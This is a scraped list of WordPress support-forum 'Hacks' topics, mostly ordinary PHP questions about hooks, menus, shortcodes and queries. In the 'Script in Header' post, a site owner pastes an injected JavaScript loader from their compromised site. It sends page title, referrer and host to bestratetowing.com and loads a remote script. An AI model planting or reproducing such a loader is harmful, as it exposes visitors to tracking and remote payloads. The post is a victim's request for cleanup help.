Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

ZaddKeefer on "Search Form to Work With Custom Query"


perthmetro on "How to apply this 'auto post title' function to a specific post-type only"

$
0
0

How would I apply this function to a specific post-type only, let's say CPT XYZ?

add_action( 'save_post', 'wpse_214927_alter_title', 10, 2 );
function wpse_214927_alter_title ( $post_id, $post_object )
{
    // Remove the current action
    remove_action( current_filter(), __FUNCTION__ );

    $post_date      = $post_object->post_date;
    $format_date    = DateTime::createFromFormat( 'Y-m-d H:i:s', $post_date );
    $date_formatted = $format_date->format( 'Y-m-d' ); // Set correct to display here
    $post_author    = $post_object->post_author;
    $author_name    = get_the_author_meta( 'display_name', $post_author ); // Adjust as needed

    $my_post = [
        'ID' => $post_id,
        'post_title' => $author_name . ' Job ' . $date_formatted // Change as needed
    ];
    wp_update_post( $my_post );
}

jgacuca on "Wordpress Not Updating Plugins or Actual Wordpress"

$
0
0

Since, updating to Wordpress 4.4.1 I am unable to update plugins automatically.

I am also unable to update bleeding edge Wordpress, as well.

I would like to know if I am the only one getting the issue or is it multiple people have gotten the issue.

Anonymous on "Translations list on the plugin page"

$
0
0

Hello!

Could you please help me to understand - how I can change list of available translations on the plugin page in the repository?

I have published plugin https://wordpress.org/plugins/popup4phone/ , in the /lang/ sub directory it contatins .po and .mo files for Russian and German translation.

However translations list in the right column on the page https://wordpress.org/plugins/popup4phone/ contains only Russian translation, while German translation not appeared.

Nawraskh on "Script in Header"

$
0
0

Hi,

My site is http://www.pmvision.ca

Every few days , the following script appears on the header of all themes including the wordpress original themes :

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://bestratetowing.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>"

This script cause the slow of my website " waiting for bestratetowing.com" the link changes every few days. I deleted it now but i am not sure how to fix it so they can't add it again

Every time i clean it, it appears after 2-3 days. Also sometimes new users are added without registrations. So i beleive there is a backdoor in my website. I tried every possible solution inclduing reinstall the website, deleting all themes and plugins that i don't use but the problem keep coming

I appreciate all the help
Thanks

Ryan on "Insufficient Permissions on Submenu Page"

$
0
0

I am working on creating a suite of plugins that will build on each other and have specific functionality each instead of building on massive plugin. Kind of along the lines of WooCommerce. So I have a core plugin that creates a Admin menu page (empty at the moment, but it's a place holder). Then there are three other plugins that each create a submenu under the core plugin menu. I am building the menus the same way every time, but the last one I am getting permissions problem. I've tried checking file permissions, deactivating and reactivating the plugin, and removing and reinstalling the plugin. I used wppb.me to create the plugin templates.

The core plugin looks like the following:
plugin/includes/class-plugin.php::define_admin_hooks()

$this->loader->add_action ( 'admin_menu', $plugin_admin, 'add_plugin_admin_menu' );

plugin/admin/class-plugin-admin.php::add_plugin_admin_menu()

add_menu_page ( 'Plugin Core Settings', 'Plugin', 'manage_options', strtolower ( $this->plugin_name ), array (
	$this,
	'display_plugin_setup_page'
), 'dashicons-admin-generic', 2 );

add_submenu_page ( 'plugin-core', 'Core Settings', 'Core', 'manage_options', strtolower ( $this->plugin_name ), array(
	$this,
	'display_submenu_page'
));

plugin/includes/class-plugin.php::define_admin_hooks()

$this->loader->add_action( 'admin_menu', $plugin_admin, 'add_plugin_admin_menu' );

plugin/admin/class-plugin-admin.php::add_plugin_admin_menu()

add_submenu_page ( 'plugin-core', 'Plugin Settings', 'Settings', 'manage_options', strtolower ( $this->plugin_name ), array (
	$this,
	'display_plugin_setup_page'
) );

Another thing that might be contributing to the problem is that once that 3rd plugin is activated clicking on the menu tries to take me to the 3rd plugin settings page and not the core plugin settings page.

Any suggestions would be helpful! Thanks!

moizsahil on "mce_external_plugins is not working"

$
0
0

Tinymce external plugin hack is not working on wordpress 4.4.1.

add_filter( 'mce_external_plugins', 'microlise_add_tinymce_plugin' );
function microlise_add_tinymce_plugin( $plugin_array ) {
$plugin_array['cta_button_script'] = plugins_url( '/cta-button.js', __FILE__ );
return $plugin_array;
}

DRHughes00 on "API Product Create"

$
0
0

Hi, hope this is the right place for this.

I am writing some code using the REST API for Woocommerce to add new products.

All is well, except that I cannot get the image to load in the correct place - the image loads, but it appears under "additional images" rather than the product image.

This is the snippet that loads the image into the parameters file:

$image = $this->API_setProductImage($partnumber);
        $this->product_array['images'][0]['src'] = $image;
        $this->product_array['images']['position'] = 0;

I have tried various options for this but no luck - anyone else had this or can tell me where I am going wrong?

Thanks
Dennis


Hamlet_PL on "My first shorecode"

$
0
0

Welcome,
I try add my own shortcod to function.php in Hueman theme. Function doesn't show any error but I no see any <a href="...">. Below i paste my code. Where I make a error?

// ShowPrivateFile
function ShowPrivateFile() {
	ob_start();
	$output='';
	if ( is_page( 'login' ) ) {
		$output = 'Pliki dostępne tylko po zalogowaniu:'.
                '<a href="aaa.pl">abcd</a></br>'.
		'<a href="aaa.pl">Faktura Klamki.JPG</a></br>'.
		'<a href="aaa.pl">Faktura Wkladki Klucze.JPG</a></br>';
	}
	return $output;
}
add_shortcode("pokaz_prywatne_pliki", "ShowPrivateFile");

regards

ajaypradeep123 on "way for adding new post to go to custom database table"

$
0
0

Hi All,

Are there ways to write wordpress plugin to save a new post to some other wordpress database table.

Actually, hooks from wordpress allow a code to fire up only after the new post is created in wordpress wp_posts table.

But I would like to know if there are ways to make when the user adds a new post and hits publish receive all wordpress data and insert all data to some other mySQL Table.

Thank you!

ccobb1039 on "catch_that_image size and cropping"

$
0
0

Hi there, I'm trying to find a way to have a set size and potentially hard crop images using the catch_that_image function.

At the moment, I'm using featured images primarily, but have older posts which don't have any. Because I have a section that show a random group of posts with images I decided to use catch_that_image in an if/else statement to make sure something showed up.

Now for featured images I have the following code

if ( function_exists( 'add_theme_support' ) ) {
	add_theme_support( 'post-thumbnails' );
        set_post_thumbnail_size( 150, 150 ); }
if ( function_exists( 'add_image_size' ) ) {
	add_image_size( 'article', 600, 250, true );
	add_image_size( 'recent', 150, 70, true );
	add_image_size('homepage', 200, 200, true);
	add_image_size('slider', 400, 190, true);

So I really am hoping there is a way to use add_image_size or something similar to catch_that_image in order to do the 150x70 true option. I can set the size with html, but then it distorts the image pretty bad depending on original size.

Also here is my catch_that_image code and the code I'm using to call that or the featured image.

Catch_that_image code.

<?php
	function catch_that_image() {
  global $post, $posts;
  $first_img = '';
  ob_start();
  ob_end_clean();
  $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
  $first_img = $matches [1] [0];
  if(empty($first_img)){ //Defines a default image
    $first_img = "/images/logo.png";
  }
  return $first_img;
}
?>

Code calling the images.

<?php
if ( has_post_thumbnail() ) { ?>
    <p class="image"><a title="<?php the_title(); ?>" href="<?php the_permalink(); ?>"><?php  the_post_thumbnail( 'recent' );  ?></a></p>
<?php } else{ ?>
	<p class="image"><a title="<?php the_title(); ?>" href="<?php the_permalink(); ?>"> <img src="<?php echo catch_that_image() ?>" alt="<?php the_title(); ?>" /></a></p>
<?php } ?>

I've tried just using the options from the add_image_size functions, but those don't work, and I've tried different variations in the catch_that_image function as well.

I appreciate any help or insight anyone has.

The Big K on "Creating A Simple Addition Form In Admin Dashboard"

$
0
0

Hello All!

I'm trying to learn coding for WordPress and my first addon is expected to create a simple addition form :

[Enter Number 1 ] [Enter Number 2] [Calculate]
Result: XYZ

Note: XYZ = Number1 + Number2.

Clicking on the Calculate button should update the XYZ part with the result of addition of the numbers entered. I'm only halfway through the code, and stuck. Not sure how should I proceed. Would really appreciate your help. Thanks!

My Code:

//First create admin panel menu and hook it to WordPress
add_action('admin_menu', 'kk_plugin_menu');
add_action('wp_ajax_nopriv_kk_adder', 'kk_adder');
add_action('wp_ajax_kk_adder', 'kk_adder');

//Register Display Form ShortCode
add_action('init', 'register_kk_shortcode');

function register_kk_shortcode() {
add_shortcode('showadder', 'kk_number_adder_form_display');
}

//define kk_plugin_menu
function kk_plugin_menu(){

//this will add menu to wordpress using inbuilt function
add_options_page(
'Number Adder',
'Number Adder',
'manage_options',
'kk-number-adder',
'kk_number_adder_form_display'
);
}

//Define function kk_number_adder_form_display

function kk_number_adder_form_display() {

//This will display the input form and button
?>

<div class="wrap">

<h1> Number Adder </h1>

<form id="kk_adder" name="kk_adder" class="kk-adder" action="/wp-admin/admin-ajax.php?action=kk_adder" method="post">
<input type="text" name="number1" id="number1" placeholder="#1" />
<input type="text" name="number2" id="number2" placeholder="#2" />
<input type="submit" name="add_button" value="Calculate" />
</form>

</div>

<?php
}

//Write the actual adder function
function kk_adder($number1, $number2) {

$result = $number1 + $number2;
kk_return_json($result);

}

//Handle the ajax part: kk_return_jason
function kk_return_json($php_array) {

$json_result = json_encode($php_array);

}

chriswindsor on "Change user role based on account spend woocommerce"

$
0
0

Hello. I have been working on an issue for a little while and can't seem to find the solution. I am attempting to develop a function that changes a customer's account type (ie from 'customer' to something else) once their account spend hits a certain amount.

Here is what I have tried so far. I very new to writing php and functions so I apologize upfront for the mess this may be. Any help would be appreciated.

/**
 * Get total spent by customer
 * @param  int $user_id
 * @return string
 */
function wc_get_customer_total_spent( $user_id ) {
if ( ! $spent = get_user_meta( $user_id, '_money_spent' < 50 ) ) {
global $wpdb;
 // Remove role
        $user->remove_role( 'customer' );

        // Add role
        $user->add_role( 'procon' );

$spent = $wpdb->get_var( "SELECT SUM(meta2.meta_value)
FROM $wpdb->posts as posts

LEFT JOIN {$wpdb->postmeta} AS meta ON posts.ID = meta.post_id
LEFT JOIN {$wpdb->postmeta} AS meta2 ON posts.ID = meta2.post_id

WHERE   meta.meta_key       = '_customer_user'
AND     meta.meta_value     = $user_id
AND     posts.post_type     IN ('" . implode( "','", wc_get_order_types( 'reports' ) ) . "')
AND     posts.post_status   IN ( 'wc-completed', 'wc-processing' )
AND     meta2.meta_key      = '_order_total'
"

        );

update_user_meta( $user_id, '_money_spent', $spent );
}

return $spent;
}

ablewebs on "Increase number of recent posts in Activity widget on Dashboard"

$
0
0

Hi,

I am customizing the Dashboard and I need to show more than 5 recent posts in the Activity widget. Below is a solution that looked promising, but it didn't work. I added it to Custom > Functions in Dynamik Website Builder. Any help would really be appreciated.

I did find a plugin, but it did way, way more than I need. http://codecanyon.net/item/advanced-activity-widget/1525794?s_phrase=advanced%20activity&s_rank=1

Link to my client's site: http://www.balanceanddizziness.org.

// unregister the default activity widget
add_action('wp_dashboard_setup', 'remove_dashboard_widgets' );
function remove_dashboard_widgets() {

    global $wp_meta_boxes;
    unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_activity']);

}

// register your custom activity widget
add_action('wp_dashboard_setup', 'add_custom_dashboard_activity' );
function add_custom_dashboard_activity() {
    wp_add_dashboard_widget('custom_dashboard_activity', 'Activity', 'custom_wp_dashboard_site_activity');
}

function custom_wp_dashboard_site_activity() {

    echo '<div id="activity-widget">';

    $future_posts = wp_dashboard_recent_posts( array(
        'display' => 7,
        'max'     => 15,
        'status'  => 'future',
        'order'   => 'ASC',
        'title'   => __( 'Publishing Soon' ),
        'id'      => 'future-posts',
    ) );

    $recent_posts = wp_dashboard_recent_posts( array(
        'display' => 7,
        'max'     => 15,
        'status'  => 'publish',
        'order'   => 'DESC',
        'title'   => __( 'Recently Published' ),
        'id'      => 'published-posts',
    ) );

    $recent_comments = wp_dashboard_recent_comments( 10 );

    if ( !$future_posts && !$recent_posts && !$recent_comments ) {
        echo '<div class="no-activity">';
        echo '<p class="smiley"></p>';
        echo '<p>' . __( 'No activity yet!' ) . '</p>';
        echo '</div>';
    }

    echo '</div>';

}

driftmagazine on "A list of users with a specific role as a link."

$
0
0

I want to make a list of a specific role. I get to the list itself, but then I do not get the link. I want each name to link to their profile page.

I have tried all sorts of different variants and has now tried and tested me out for several weeks. Here are some different tests.

http://driftmagazine.se/fotografer/


bradleybebad on "if metdata is checked not working"

$
0
0

Trying to fix this and I know it's easy, but cannot figure it out for the life of me. I just need to check if my metadata checkbox is checked. Basically I have a custom post type called products that works great in my catalog loop. However, I have a homepage with a small gallery that only displays a select few. This is where my gallery checkbox comes into play.

However, I cannot get an if statement to work correctly. I don't get why my logic isn't working. I just get a bunch of 'Don't show in gallery' lines even though the checkbox is checked and saved/updated correctly. Basically, it's saying they are all false and I have two of them checked and saved for testers. WEIRD!

$gallery = get_post_meta($post->ID, 'gallery', true);

if($gallery == true) {
 echo 'Show in gallery';
 } else {
echo 'Don't show in gallery';
}

Etchira on "Search form from metadata"

$
0
0

Hello,

wordpress newbie here!

I have the following query that works fine

$args = array(
	'post_type'  => 'listing',
        'meta_query' => array(
           'relation' => 'AND',
	    array(
	       'key'     => '_listing_price',
              'value'   => '500000', //number to search
              'type'    => 'numeric',
              'compare' => '>=',
            )
        ),
);
$my_query = new WP_Query($args);

With the loop ($my_query->have_posts() etc) I can display the correct found post.

My question is how to translate this query into a form?
I understand how to do it for the post_type arg : <input type="hidden" value="listing" name="post_type" /> But I'm a bit confused with the nested arrays. How can I make a form to search the price (500000 in the example)?

Thank you very much,

cheers

ANBA1992 on "How execute DOM before the Owl-Carousel?"

megseoh on "Modify the length of the excerpt in widgets"

$
0
0

How can I modify the length of the excerpt in widgets only? & leave the length of the excerpt at 55 if it is found anywhere else in the content.

I found this code which shows how to modify the excerpt length for different post types http://isabelcastillo.com/different-excerpt-length-for-different-post-types

// CHANGE EXCERPT LENGTH FOR DIFFERENT POST TYPES
function isacustom_excerpt_length($length) {
    global $post;
    if ($post->post_type == 'post')
        return 32;
    else if ($post->post_type == 'products')
        return 65;
    else if ($post->post_type == 'testimonial')
        return 75;
    else
        return 80;
}
add_filter('excerpt_length', 'isacustom_excerpt_length');

How can I adapt this type of logic to target widgets?

stiwdio on "selected pages navigation - not posts"

$
0
0

Does anyone know if its possible or does a plugin exit where you can scroll pre and next between specific pages not posts?

Where if I want a group of pages that are bios for instance, and when your viewing one the a next and pre button at the bottom will allow you to got to the next or previous?

I know it's possible to to this in posts using categories but wondered if any had any ideas for specific group of pages

I found this code that does almost what I require but is there a way or can something think of a way to maybe tag pages and use that tag as being the selector of the pages? does that make sense?

<?php
$pagelist = get_pages('sort_column=menu_order&sort_order=asc');
$pages = array();
foreach ($pagelist as $page) {
   $pages[] += $page->ID;
}

//print_r($pages);

$current = array_search($post->ID, $pages);
$prevID = $pages[$current-1];
$nextID = $pages[$current+1];

/*
echo "Current: $current";
echo "Prev: $prevID";
echo "Next: $nextID";
*/
?>

<div class="navigation">
<?php if (!empty($prevID)) { ?>
<div class="alignleft"><a href="<?php echo get_permalink($prevID); ?>">Previous</a></div>
<?php }
if (!empty($nextID)) { ?>
<div class="alignright"><a href="<?php echo get_permalink($nextID); ?>">Next</a></div>
<?php } ?>
<div class="clear"><!-- --></div>
</div><!-- .navigation -->
Viewing all 8245 articles
Browse latest View live




Latest Images